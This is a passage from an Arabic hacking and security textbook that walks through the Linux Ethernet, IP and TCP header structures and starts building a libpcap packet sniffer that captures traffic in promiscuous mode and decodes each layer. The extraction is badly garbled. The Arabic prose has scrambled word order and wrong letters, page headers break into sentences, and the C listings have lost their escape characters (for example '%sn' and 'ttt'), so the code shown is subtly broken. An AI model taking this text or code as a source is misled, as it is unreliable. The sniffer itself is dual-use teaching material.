‫بال‬ ‫سمى‬ُ‫ي‬ ‫ما‬ ‫مل‬َ‫ع‬‫ب‬ ‫اآلن‬ ‫سنقوم‬
“Decoding the Layers”
.
،‫الثالث‬ ‫الطبقات‬ ‫عىل‬ ‫باملرور‬ ‫سنبدأ‬
(Data-Link, Network, and Transport Layers)
،
‫ب‬ ‫طالهلا‬ ‫نقوم‬
‫تفكيك‬
‫و‬
‫ال‬ ‫حمتويات‬ ‫حتليل‬
Header
‫طبق‬ ‫بكل‬ ‫اخلاص‬
‫ة‬
،
‫وجتهيزذم‬
‫كي‬
‫بعد‬ ‫قيام‬ ‫استخدامهم‬ ‫يتم‬
..
‫س‬
‫بال‬ ‫نبدأ‬
Ethernet Header
.
Ethernet Header
‫التشغيل‬ ‫نظام‬ ‫يف‬
Linux
‫ال‬ ‫تعريف‬ ‫تم‬
structure
‫بال‬ ‫اخلاص‬
Ethernet Header
:‫املسار‬ ‫ذذا‬ ‫عرب‬
/user/include/linux/if_ether.h
‫لك‬ ‫سأعرض‬
screenshot
:‫امللف‬ ‫ذذا‬ ‫من‬ ‫جزء‬ ‫توضح‬ ‫وذي‬ ،‫جهازي‬ ‫من‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[198]
‫أول‬
Define
‫ل‬ ‫اطتصار‬ ‫ذي‬
"
Ethernet Address Length
"
‫ختصيص‬ ‫َم‬‫ت‬ ُ‫ه‬‫أن‬ ‫تعني‬
6 bytes
‫ال‬ ‫أجل‬ ‫من‬
MAC
Address
.
:‫ب‬ ‫يبدأ‬ ‫الذي‬ ‫السطر‬ ‫يف‬ ‫الحظ‬
#define ETH_HLEN 14
‫بتعريف‬ ‫يقوم‬ ‫لنه‬
‫طول‬
‫ال‬
Ethernet Header
‫ليكون‬
14 Bytes
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[199]
ً‫ا‬‫أيض‬
‫ال‬
field
‫بال‬ ‫اخلاص‬
data length
ُ‫ه‬‫أن‬ ‫َر‬‫ك‬َ‫ذ‬
‫ال‬ ‫ز‬َ‫َجاو‬‫ت‬َ‫ي‬ ‫ال‬
1500 bytes
،
‫ال‬ ‫ذو‬ ‫وذذا‬
MTU
‫ا‬
‫يف‬ ‫عنه‬ ‫َكلمنا‬‫ت‬ ‫لذي‬
‫السابق‬ ‫الفصل‬
.
‫يليه‬ ‫الذي‬ ‫السطر‬ ‫يف‬ ‫الحظ‬
‫ال‬ ‫بإضاقة‬ َ‫م‬‫قا‬ ُ‫ه‬‫أن‬
14 bytes
‫ال‬ ‫عىل‬
1500
‫ال‬ ‫وذي‬ ‫حصلة‬ُ‫مل‬‫ا‬ ‫عطينا‬ُ‫ي‬‫ل‬
“Frame”
‫ال‬ ‫عن‬ ‫عباره‬ ‫ذو‬ ‫الذي‬
Data
‫لليها‬ ً‫ا‬‫ضاق‬ُ‫م‬
‫ال‬
Header
.
:‫ذاذو‬
#define ETH_ALEN 6 /* Octets in one ethernet addr */
#define ETH_HLEN 14 /* Total octets in header */
/*
* This is an Ethernet frame header.
*/
struct ethhdr {
unsigned char h_dest[ETH_ALEN]; /* Destination eth addr */
unsigned char h_source[ETH_ALEN]; /* Source ether addr */
__be16 h_proto; /* Packet type ID field */
} __attribute__((packed));
‫ما‬ ‫ل‬‫وص‬َ‫ُح‬‫ن‬‫ل‬ ‫ذيا‬ ‫واآلن‬
‫مىض‬
:
6 bytes Source MAC + 6 bytes Dest MAC + 2 bytes type of ethernet packet =
14 bytes (Ethernet Header)
‫ذل‬
‫ال‬ ‫ذذا‬ ‫تتذكر‬
“type of ethernet packet”
‫؟‬
‫عنه‬ ‫حتدثنا‬
‫ققرة‬ ‫يف‬
‫ال‬ ‫بروتوكول‬
ARP
،‫الثاين‬ ‫الباب‬ ‫يف‬
‫بحاج‬ ‫ُنا‬‫ك‬ ‫عندما‬
‫ة‬
‫ال‬ ‫نوع‬ ‫قة‬‫عر‬َ‫مل‬
packet
‫م‬
‫ا‬
‫ل‬
‫كانت‬ ‫ذا‬
ARP
‫أم‬
data
‫عادي‬
‫ة‬
.
‫ال‬ ‫بعمل‬ ‫نقوم‬ َ
‫س‬
structure
،‫مة‬ِّ‫ي‬‫الق‬ ‫املعلومات‬ ‫ذذه‬ ‫عىل‬ ً‫ء‬‫نا‬‫ب‬ ‫نا‬‫ب‬ ‫اخلاص‬
‫مع‬
‫التس‬ ‫بعض‬ ‫َغيري‬‫ت‬
‫ميات‬
‫غري‬
‫ال‬
‫واضح‬
‫ة‬
‫يف‬ ‫م‬ُ‫َضعه‬‫ن‬ ‫م‬ُ‫ث‬ ‫أوضح‬ ُ‫ه‬‫َرا‬‫ن‬ ‫ما‬ ‫لىل‬
include file
‫د‬‫ح‬ ‫عىل‬
‫ة‬
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[200]
#define ETHER_ADDR_LEN 6
#define ETHER_HDR_LEN 14
struct ether_hdr {
unsigned char ether_dest_addr[ETHER_ADDR_LEN]; //Dest. MAC
unsigned char ether_src_addr[ETHER_ADDR_LEN]; // Source MAC
unsigned short ether_type; // Type of Ethernet packet
};
‫امللف‬ ‫ذذا‬ ‫عىل‬ ‫ق‬‫ُطل‬‫ن‬ َ
‫س‬
“Network.h”
.
‫ال‬ ‫لىل‬ ‫سننتقل‬ ‫واآلن‬
structure
‫اخلاص‬
‫بال‬
IP Header
.
IP Header
‫ال‬ ‫أن‬ ‫الحظ‬
IP Header
‫غ‬ُ‫ل‬‫ب‬َ‫ي‬
‫طوله‬
20 bytes
‫ال‬ ‫بدون‬
Options field
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[201]
‫ا‬ ‫مع‬ ‫قعلنا‬ ‫وكام‬
‫ل‬
Ethernet Header
.‫اليشء‬ ‫نفس‬ ‫نا‬ُ‫ذ‬ ‫سنفعل‬
‫ال‬ ‫ذذا‬ ‫سار‬َ‫م‬ ‫وضح‬ُ‫ي‬ ‫الشكل‬ ‫ذذا‬
Header
:
‫ماييل‬
‫حمتويات‬ ‫بعض‬
‫ال‬ ‫ذذا‬
Struct
:
struct iphdr
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ihl:4;
unsigned int version:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
unsigned int version:4;
unsigned int ihl:4;
#else
# error "Please fix <bits/endian.h>"
#endif
u_int8_t tos;
u_int16_t tot_len;
u_int16_t id;
u_int16_t frag_off;
u_int8_t ttl;
u_int8_t protocol;
u_int16_t check;
u_int32_t saddr;
u_int32_t daddr;
/*The options start here. */
};
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[202]
‫ال‬ ‫ذذا‬ ‫بإنشاء‬ ‫سنقوم‬
Header
‫ال‬ ‫لىل‬ ‫ه‬ّ‫م‬ َ
‫ض‬ ‫و‬ ً‫ا‬‫أيض‬
include file
‫ذاته‬
..
:‫أسميناه‬ ‫الذي‬
“Network.h”
struct ip_hdr {
unsigned char ip_version_and_header_length; // Ver and hdr len
unsigned char ip_tos; // Type of service
unsigned short ip_len; // Total length
unsigned short ip_id; // Identification number
unsigned short ip_frag_offset; // Fragment offset and flags
unsigned char ip_ttl; // Time to live
unsigned char ip_type; // Protocol type
unsigned short ip_checksum; // Checksum
unsigned int ip_src_addr; // Source IP address
unsigned int ip_dest_addr; // Destination IP address
};
‫ونختم‬
‫ب‬
‫ال‬
TCP Header
.
TCP Header
ً‫ا‬‫أيض‬
‫ال‬ ‫ذذا‬
Header
‫يبلغ‬
‫طول‬
‫ه‬
20 bytes
،
‫ال‬ ‫بدون‬
options field
.
‫ض‬‫َعر‬‫ن‬
‫الصفح‬ ‫يف‬
‫ة‬
‫التالي‬
‫ة‬
‫ال‬ ‫ذذا‬ ‫شكل‬
Header
:
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[203]
‫بعض‬
‫املصادر‬
‫ال‬ ‫بتعريف‬ ‫تقوم‬
“TCP header length”
:‫كاآليت‬
“An integer that specifies the length of the segment header measured in 32-bit multiples”
:‫بذلك‬ ‫د‬ َ
‫ص‬‫ق‬ُ‫ي‬‫و‬
“4 bytes * number of segments have been used”
‫سن‬
‫بتفصيله‬ ‫قوم‬
..ً‫ا‬‫الحق‬
‫ماييل‬
‫ال‬ ‫شكل‬
Structure
:‫به‬ ‫اخلاص‬
typedef u_int32_t tcp_seq;
/*
* TCP header.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[204]
* Per RFC 793, September, 1981.
*/
struct tcphdr
{
u_int16_t th_sport; /* source port */
u_int16_t th_dport; /* destination port */
tcp_seq th_seq; /* sequence number */
tcp_seq th_ack; /* acknowledgment number */
# if __BYTE_ORDER == __LITTLE_ENDIAN
u_int8_t th_x2:4; /* (unused) */
u_int8_t th_off:4; /* data offset */
# endif
# if __BYTE_ORDER == __BIG_ENDIAN
u_int8_t th_off:4; /* data offset */
u_int8_t th_x2:4; /* (unused) */
# endif
u_int8_t th_flags;
# define TH_FIN 0x01
# define TH_SYN 0x02
# define TH_RST 0x04
# define TH_PUSH 0x08
# define TH_ACK 0x10
# define TH_URG 0x20
u_int16_t th_win; /* window */
u_int16_t th_sum; /* checksum */
u_int16_t th_urp; /* urgent pointer */
};
‫سنقوم‬
‫ال‬ ‫بكتابة‬ ً‫ا‬‫أيض‬
TCP Structure
..‫بطريقتنا‬
‫بعمل‬ ‫سنقوم‬ ‫أننا‬ ‫الحظ‬
define
‫لل‬
Flags
‫أوضح‬ ‫بطريقة‬ ‫أطرى‬ ً‫ة‬‫مر‬
.
struct tcp_hdr {
unsigned short tcp_src_port; // Source TCP port
unsigned short tcp_dest_port; // Destination TCP port
unsigned int tcp_seq; // TCP sequence number
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[205]
unsigned int tcp_ack; // TCP acknowledgment number
unsigned char reserved:4; // 4 bits from the 6 bits of reserved space
unsigned char tcp_offset:4; // TCP data offset for little-endian host
unsigned char tcp_flags; // TCP flags (and 2 bits from reserved space)
#define TCP_FIN 0x01
#define TCP_SYN 0x02
#define TCP_RST 0x04
#define TCP_PUSH 0x08
#define TCP_ACK 0x10
#define TCP_URG 0x20
unsigned short tcp_window; // TCP window size
unsigned short tcp_checksum; // TCP checksum
unsigned short tcp_urgent; // TCP urgent pointer
};
‫امللف‬ ‫لىل‬ ً‫ا‬‫أيض‬ ‫م‬‫ه‬‫م‬ َ
‫ض‬‫ب‬ ‫نقوم‬
“Network.h”
.
.!‫رائع‬ ‫عمل‬ ‫ذذا‬
‫ال‬ ‫بتعريف‬ ‫منا‬ُ‫ق‬ ‫لقد‬
Headers
‫ذيئة‬ ‫عىل‬
Structures
،
‫بعمل‬ ‫يقوم‬‫ل‬ ‫برنامج‬ ‫تابة‬‫ك‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬ ‫واآلن‬
decode
‫ال‬ ‫هلذه‬
Headers
‫كل‬ ‫من‬
packet
‫التقاطها‬ ‫يتم‬
.
ً‫ا‬‫تع‬ ُ
‫ُم‬ ‫ذلك‬ ‫كون‬َ‫ي‬ َ
‫س‬
!
.
The Decoder Sniffer
‫نا‬ُ‫ذ‬ ‫سنقوم‬
‫بال‬ ‫باالستعانة‬
"
libpcap library
،"
‫أنشأناه‬ ‫الذي‬ ‫وامللف‬
“Network.h”
‫تكوين‬ ‫أجل‬ ‫من‬
Sniffer
‫يقوم‬
‫بعمل‬
capture
‫لل‬
traffic
‫كل‬ ‫تفاصيل‬ ‫عرض‬ ‫و‬ ‫الشبكة‬ ‫عربكارت‬ ‫املار‬
packet
‫عمل‬ ‫مع‬
decode
‫ُل‬‫ك‬‫ل‬
layer
ً‫ا‬‫دء‬َ‫ب‬
‫بال‬
Data-Link Layer
‫بال‬ ً‫ء‬‫وانتها‬
Transport Layer
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[206]
‫الكو‬ ‫ذذا‬ ‫سنطرح‬
‫عىل‬ ‫د‬
‫أجزاء‬ ‫ثالثة‬
‫عىل‬ ‫ل‬ِّ‫ه‬ َ
‫ُس‬‫ن‬ ‫كي‬
‫نا‬‫س‬ُ‫ف‬‫أن‬
.‫اإلستيعاب‬ ‫عملية‬
‫أننا‬ ‫الحظ‬
‫ل‬‫نستبد‬ ‫سوف‬
‫ال‬
function
‫ال‬ ‫يف‬ ‫استخدمناذا‬ ‫التي‬
sniffer
‫بإسم‬ ‫كانت‬ ‫والتي‬ ‫السابق‬
pcap_next( )
..
.. ‫وظيفتها؟‬ ‫نسيت‬ ‫ذل‬
‫وظيفتها‬ ‫كانت‬
‫يف‬ ‫تتمثل‬
‫ال‬ ‫ب‬‫ل‬ َ‫ج‬
packet
.‫التالية‬
‫لذلك‬ ‫سنستخدم‬
function
‫أطرى‬
‫ذي‬ ،‫منها‬ ‫أقضل‬
pcap_loop( )
،
‫م‬ ‫قاعلية‬ ‫أكثر‬ ‫ُعد‬‫ت‬‫و‬
‫نها‬
.
‫ماييل‬
‫ال‬
prototype
:‫ِبا‬ ‫اخلاص‬
int pcap_loop(pcap_t *handle, int count, pcap_handler caught_packet,
u_char *args);
‫ال‬ ‫ماذذه‬
Arguments
‫ج‬‫زع‬ُ‫مل‬‫ا‬
‫ة‬
‫تقلق‬ ‫ال‬.. .!!
..
‫سيكون‬
‫رام‬ُ‫ي‬‫ما‬ ‫عىل‬ ‫يشء‬ ‫كل‬
.
‫لن‬
‫ال‬ ‫ِبذا‬ ‫بدأ‬
Handle
:
‫ال‬ ‫تعريف‬ ‫عطيك‬ُ‫أ‬ ‫دعني‬
Handle
..ً‫ا‬‫جيد‬ ‫لتفهمه‬ ‫التشغيل‬ ‫أنظمة‬ ‫نظر‬ ‫وجهة‬ ‫من‬
‫السيد‬ ‫لنا‬ ‫عرف‬ُ‫ي‬
Michael Sikorski
‫ال‬
Handles
‫ييل‬ ‫كام‬
:
Handles are items that have been opened or created in the OS, such as a window, process,
module, menu, file, and so on. Handles are like pointers in that they refer to an object or memory
location somewhere else. However, unlike pointers, handles cannot be used in arithmetic
operations, and they do not always represent the object’s address.
The only thing you can do with a handle is store it and use it in a later function call to refer to
the same object.
!‫جيد‬ ‫ذذا‬
..
‫ال‬ ‫ذذا‬ ‫قكرة‬ ‫سنستخدم‬ ‫كيف‬
handle
‫ال‬ ‫ذذه‬ ‫يف‬ ‫نا‬ُ‫ذ‬
pcap_loop( )
‫؟‬..
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[207]
‫ال‬ ‫ذذا‬ ‫سيكون‬ ..ً‫ا‬‫حسن‬
handle
‫ك‬
storage
‫ال‬ ‫قيه‬ ‫ع‬ َ
‫َض‬‫ن‬‫ل‬
return value
‫ال‬ ‫من‬ ‫القادمة‬
function
‫قتح‬ ‫ن‬َ‫ع‬ ‫املسؤولة‬
‫ال‬ ‫وضعية‬ ‫يف‬ ‫لدينا‬ ‫كة‬َ‫ب‬ َ
‫الش‬ ‫كارت‬
promiscuous mode
‫ك‬ ً‫ا‬‫ق‬‫الح‬ ُ‫ه‬‫م‬‫َستخد‬‫ن‬ ‫م‬ُ‫ث‬ ،
Argument
‫ل‬
function
..‫طرى‬ُ‫أ‬
‫ال‬ ‫ذي‬
pcap_loop( )
.
‫ال‬ ‫اجلزء‬ ‫لليه‬ ‫شري‬ُ‫ي‬ ‫ما‬ ‫بالضبط‬ ‫ذذا‬
Bold
‫ال‬ ‫تعريف‬ ‫من‬
handle
.‫كذلك؟‬ ‫أليس‬ .‫قوق‬
‫لل‬ ‫النسبة‬‫وب‬
Argument
‫الثاني‬
‫ة‬
‫رقم‬ ‫قهو‬ ،
int
‫ال‬ ‫عدد‬ ‫عن‬ ِّ
‫عرب‬ُ‫ي‬
packets
‫املثال‬ ‫يف‬ ‫وضعناذا‬ ‫والتي‬ ،‫سنلتقطها‬ ‫التي‬
‫ب‬ ‫السابق‬
(
3
،)
‫لو‬ ‫أنه‬ ‫الحظ‬
‫ب‬ ‫وضعها‬ ‫تم‬
"
-1
"
‫بذلك‬ ‫قنعني‬
loop
‫ال‬ ‫غلق‬ ‫يتم‬ ‫أن‬ ‫لىل‬
Sniffer
.
‫ال‬ ‫بخصوص‬
Argument
‫عن‬ ‫عبارة‬ ‫قهو‬ ‫الثالثه‬
pointer
‫ل‬
function
‫أطرى‬
..
‫ال‬ ‫أن‬ ‫يبدو‬
pcap_loop( )
‫بعمل‬ ‫ذنا‬ ‫ستقوم‬
call
‫ل‬
function
‫ُسميها‬‫ن‬‫س‬ ..‫أطرى‬
caught_packet( )
‫بإعطائنا‬ ‫لتقوم‬
‫ل‬‫فص‬ُ‫م‬ ‫معلومات‬
‫ة‬
‫ال‬ ‫ذذه‬ ‫عن‬
packet
‫ال‬ ‫بالتقاطها‬ ‫قامت‬ ‫التي‬
pcap_loop( )
.
‫ال‬ ‫تفاصيل‬ ‫حتوي‬ ‫قهي‬
packet
‫احلالية‬
‫ل‬َ‫م‬َ‫ع‬ ‫َم‬‫ت‬ ‫التي‬
capture
‫ل‬‫َقب‬‫ت‬‫َس‬‫ت‬ َ
‫س‬ ،‫هلا‬
Arguments
‫عن‬ ‫بارة‬‫ع‬
pointers
،
‫ال‬ ‫ذذه‬
Pointers
‫ت‬
‫قوم‬
‫باإلشار‬
‫ة‬
‫ال‬ ‫لىل‬
packet header
‫وال‬
packet itself
.
‫ال‬ ‫شكل‬ ‫ذو‬ ‫ذا‬
caught_packet( )
:
void caught_packet(u_char *args, const struct pcap_pkthdr
*cap_header, const u_char *packet);
‫ال‬
Argument
‫ذي‬ ‫الثانية‬
object
‫ال‬ ‫من‬ ‫اشتقاقه‬ ‫تم‬
struct pcap_pkthdr
‫وذو‬
struct
‫ال‬ ‫يف‬ ‫موجود‬
libpcap lib
.
.‫قليل‬ ‫بعد‬ ‫عنه‬ ‫سنتكلم‬
‫ذو‬ ‫واألطري‬
pointer
‫س‬
‫ال‬ ‫داطل‬ ‫به‬ ‫نتحرك‬
packet
‫لتقط‬ُ‫مل‬‫ا‬
‫ة‬
‫ال‬ ‫عملية‬ ‫يف‬ ‫بخدمتنا‬ ‫ليقوم‬
Decoding
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[208]
‫فاجئات‬ُ‫مل‬‫با‬ ‫الغني‬ ‫الكود‬ ‫ذذا‬ ‫الستقبال‬ ‫تهيئتك‬‫ل‬ ‫طفيفة‬ ‫مة‬ِّ‫قد‬ُ‫م‬ ‫ذذه‬ ‫كانت‬

..
‫الكود‬ ‫بتقسيم‬ ‫سنقوم‬
‫أجزاء‬ ‫ثالثة‬ ‫عىل‬
.‫البداية‬ ‫يف‬ ‫لك‬ ُ
‫َرت‬‫ك‬َ‫ذ‬ ‫كام‬
ُ‫ه‬‫ن‬‫م‬ ‫جزء‬ ‫أول‬ ‫ييل‬ ‫ما‬
#include <pcap.h>
#include "error.h"
#include "network.h"
void pcap_fatal(const char *, const char *);
void decode_ethernet(const u_char *);
void decode_ip(const u_char *);
u_int decode_tcp(const u_char *);
void caught_packet(u_char *, const struct pcap_pkthdr *, const
u_char *);
int main() {
struct pcap_pkthdr cap_header;
const u_char *packet, *pkt_data;
char errbuf[PCAP_ERRBUF_SIZE];
char *device;
pcap_t *pcap_handle;
device = pcap_lookupdev(errbuf);
if(device == NULL)
pcap_fatal("pcap_lookupdev", errbuf);
printf("Sniffing on device %sn", device);
pcap_handle = pcap_open_live(device, 4096, 1, 0, errbuf);
if(pcap_handle == NULL)
pcap_fatal("pcap_open_live", errbuf);
pcap_loop(pcap_handle, 3, caught_packet, NULL);
pcap_close(pcap_handle);
}
‫ال‬ ‫بعض‬ ‫البداية‬ ‫يف‬ ‫يظهر‬
function prototypes
،
..
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[209]
‫ال‬ ‫تعريف‬ ‫ُر‬‫ك‬‫تذ‬ ‫ذل‬
prototype
.‫؟‬
‫ثالث‬ ‫يوجد‬
‫ة‬
functions
‫ال‬ ‫بوظيفة‬ ‫ليقوموا‬ ‫تعريفهم‬ ‫تم‬
decode
‫لل‬
packets
‫لتقط‬ُ‫مل‬‫ا‬
‫ة‬
.
‫بال‬ ‫اخلاصة‬ ،‫األطرية‬ ‫أن‬ ‫الحظ‬
TCP Header
‫نوع‬ ‫من‬ ‫ليست‬
void
‫قيمة‬ ‫بإرجاع‬ ‫ستقوم‬ ‫بل‬ ،
،
‫ال‬ ‫ذذه‬ ‫لنا‬ ‫ع‬‫ج‬ ُ
‫قسرت‬
function
‫ذي‬ ‫قيمة‬
:
TCP Header Length
.
‫حال؟‬ ‫بأي‬ ُ‫ه‬‫جم‬ َ‫ح‬ ‫نحسب‬ ‫ملاذا‬ ‫ولكن‬
‫بحاج‬ ‫نحن‬
‫ة‬
‫ال‬ ‫حجم‬ ‫معرقة‬ ‫النهاية‬ ‫يف‬ ‫لنا‬ ‫يتسنى‬ ‫كي‬ ُ‫ه‬‫حجم‬ ‫حلساب‬
data
‫ال‬ ‫داطل‬
packet
‫ال‬ ‫طرح‬ ‫بعد‬ ‫وذلك‬
Header Length
‫بكل‬ ‫اخلاص‬
Layer
‫ال‬ ‫حجم‬ ‫لنا‬ ‫قيتبقى‬
data
.‫الفعيل‬
‫بال‬ ‫الربنامج‬ ‫يبدأ‬ ‫ثم‬
main( )
struct pcap_pkthdr cap_header;
const u_char *packet, *pkt_data;
char errbuf[PCAP_ERRBUF_SIZE];
char *device;
pcap_t *pcap_handle;
‫البداية‬ ‫يف‬ ‫يظهر‬
‫اشتقاق‬
object
‫ال‬ ‫من‬
Struct
‫سمى‬ُ‫مل‬‫ا‬
pcap_pkthdr
.
‫ال‬ ‫ذذا‬ ‫تتذكر‬ ‫ذل‬
Struct
‫؟‬
.
‫ال‬ ‫يف‬ ‫استخدمناه‬ ‫لقد‬
Sniffer
‫السابق‬
،
‫ال‬ ‫منه‬ ‫استخدمنا‬ ‫حيث‬
element
‫لنا‬ ‫ليعرض‬ ‫األطري‬
‫ماييل‬
:
”Length of Captured Packet”
:‫شكله‬ ‫ذو‬ ‫ذذا‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[210]
struct pcap_pkthdr {
struct timeval ts; /* time stamp */
bpf_u_int32 caplen; /* length of portion present */
bpf_u_int32 len; /* length this packet(off wire) */
};
‫بتعريف‬ ‫منا‬ُ‫ق‬ ‫م‬ُ‫ث‬
pointers
‫نوع‬ ‫من‬
unsigned char
‫ذم‬
packet
‫و‬
pkt_data
.
‫ال‬ ‫م‬‫نستخد‬ َ
‫س‬
pointer
‫ال‬ ‫ل‬‫داط‬ ‫ك‬ ُّ‫ر‬َ‫َح‬‫ت‬‫ال‬ ‫عملية‬ ‫يف‬ ‫األول‬
memory block
‫بال‬ ‫اخلاصة‬
Headers
.
‫ال‬ ‫درس‬ ‫تتذكر‬ ‫ذل‬
pointers
‫األول؟‬ ‫الباب‬ ‫يف‬
‫ل‬
‫بمثال‬ ‫األمر‬ ‫ذذا‬ ‫عن‬ ‫حتدثنا‬ ‫قد‬
“Hello world!”
.
‫وال‬
pointer
‫ك‬ ‫سنستخدمه‬ ‫الثاين‬
Argument
‫لل‬
Dump( )
‫ال‬ ‫عن‬ ‫لنا‬ ‫عرب‬ُ‫ي‬‫ل‬
row bytes
‫لتقط‬ُ‫مل‬‫ا‬
‫ة‬
.
‫بضيفنا‬ ‫نلتقي‬ ‫ثم‬
‫ال‬ ‫العزيز‬
Handle
‫قليل‬ ‫منذ‬ ‫عنه‬ ‫تكلمنا‬ ‫الذي‬
"
Pcap_handle
،"
ُ‫ه‬‫وظيفت‬ ‫تعي‬ ‫وأنك‬ ‫البد‬
.ً‫ا‬‫جيد‬
‫ال‬ ‫بتجهيز‬ ‫نقوم‬ ‫ثم‬
device
‫ال‬ ‫لعملية‬
sniff
‫ال‬ ‫باستخدام‬
lookup_dev( )
،
‫ال‬ ‫عملية‬ ‫بعدذا‬ ‫لتبدأ‬
Looping
‫ال‬ ‫الستقبال‬
packets
‫ال‬ ‫عملية‬ ‫ولجراء‬
Decoding
‫التفاصيل‬ ‫الستخراج‬
.
‫ال‬ ‫أن‬ ‫ُالحظ‬‫ت‬ ‫كام‬
pcap_loop( )
‫بعمل‬ ‫ستقوم‬
call
‫لل‬
caught_packet( )
،
‫كل‬ ‫مع‬ ‫استدعاؤذا‬ ‫سيتم‬ ‫األطرية‬ ‫ذذه‬
packet
‫ا‬ ‫تقوم‬
‫ل‬
pcap_loop
.‫بالتقاطها‬
‫األ‬ ‫اجلزء‬ ‫ينتهي‬ ‫ذنا‬ ‫لىل‬
‫ول‬
.
‫ال‬ ‫وظيفة‬ ‫يف‬ ‫ل‬ِّ‫ث‬‫تم‬ُ‫مل‬‫وا‬ ،‫الثاين‬ ‫اجلزء‬ ‫لىل‬ ‫سننتقل‬
caught_packet( )
‫ق‬
‫الكود‬ ‫ذذا‬ ‫يف‬ ‫حموري‬ ‫بدور‬ ‫تقوم‬ ‫هي‬
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[211]
void caught_packet(u_char *user_args, const struct pcap_pkthdr
*cap_header, const u_char
*packet) {
int tcp_header_length, total_header_size, pkt_data_len;
u_char *pkt_data;
printf("==== Got a %d byte packet ====n", cap_header->len);
decode_ethernet(packet);
decode_ip(packet + ETHER_HDR_LEN);
tcp_header_length =
decode_tcp(packet + ETHER_HDR_LEN + sizeof(struct ip_hdr));
total_header_size =
ETHER_HDR_LEN + sizeof(struct ip_hdr) + tcp_header_length;
/*pkt_data points to the dataportion*/
pkt_data = (u_char *)packet + total_header_size;
pkt_data_len = cap_header->len - total_header_size;
if(pkt_data_len > 0) {
printf("ttt%u bytes of packet datan", pkt_data_len);
dump(pkt_data, pkt_data_len);
} else
printf("tttNo Packet Datan");
}
void pcap_fatal(const char *failed_in, const char *errbuf) {
printf("Fatal Error in %s: %sn", failed_in, errbuf);
exit(1);
}
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[212]
‫ال‬ ‫الكود‬ ‫بداية‬ ‫يف‬ ‫لنا‬ ‫يظهر‬
caught_packet( )
،
‫ال‬ ‫من‬ ‫جمموعة‬ ‫ها‬ُ‫ع‬‫تب‬َ‫ي‬
Integer variables
،
‫أهنم‬ ‫يبدو‬
Local
variables
،
‫ال‬ ‫ذذه‬ ‫داطل‬ ‫م‬ُ‫مه‬‫سنستخد‬ ‫أننا‬ ‫بمعنى‬
function
.‫ققط‬
‫وللتذكري‬
..
‫ال‬ ‫ذذه‬ ‫من‬ ‫ُريد‬‫ن‬
function
‫ال‬ ‫ل‬‫َفص‬‫ت‬ ‫أن‬
Headers
‫ال‬ ‫ل‬‫َفص‬‫ت‬ ‫م‬ُ‫ث‬ ،‫بعضهم‬ ‫عن‬
data
‫عن‬ ً‫ا‬‫أيض‬
‫ض‬‫َعر‬‫ت‬‫ل‬ ،‫هم‬
‫ال‬ ‫ذذه‬ ‫لنا‬
data
‫ال‬ ‫استدعاء‬ ‫طريق‬ ‫عن‬
Dump( )
.
:‫األسطر‬ ‫بقية‬ ‫عىل‬ ّ‫ر‬ُ‫نم‬‫ل‬ ‫ذيا‬
printf("==== Got a %d byte packet ====n", cap_header->len);
‫ال‬ ‫سنستخدم‬
printf( )
‫الشاشة‬ ‫عىل‬ ‫لنا‬ ‫لتطبع‬ ‫ذنا‬
Length of packet
،
‫ال‬ ‫ذذا‬ ‫أن‬ ‫الحظ‬
length
‫ال‬ ‫حجم‬ ‫ل‬ِّ‫ث‬‫م‬ُ‫ي‬
data + Headers
‫لذا‬ .
‫ذذه‬ ‫داللة‬ ‫نسيت‬
‫اإلشارة‬
"
->
"
‫ال‬ ‫درس‬ ‫مراجعة‬ ‫يمكنك‬
Structs
‫األول‬ ‫الباب‬ ‫يف‬
.
‫ال‬ ‫ِبذه‬ ‫تبدأ‬ ‫التي‬ ‫املجموعه‬ ‫هلذه‬ ‫نأيت‬ ‫ثم‬
Function
:
decode_ethernet(packet);
‫ال‬ ‫ذذه‬ ‫تنفيذ‬ ‫يتم‬
function
‫ال‬ ‫داطل‬
caught_packet( )
‫قهي‬
‫ذ‬ ُ
‫تأط‬
Argument
‫عن‬ ‫عباره‬
Pointer
‫َق‬‫ت‬‫ل‬
‫ال‬ ‫موضع‬ ‫عىل‬ ‫به‬ ‫ف‬
Ethernet Header
‫ال‬ ‫داطل‬
Packet
َ‫ط‬َ‫ق‬َ‫ت‬‫ل‬ُ‫مل‬‫ا‬
‫ة‬
.
‫ل‬
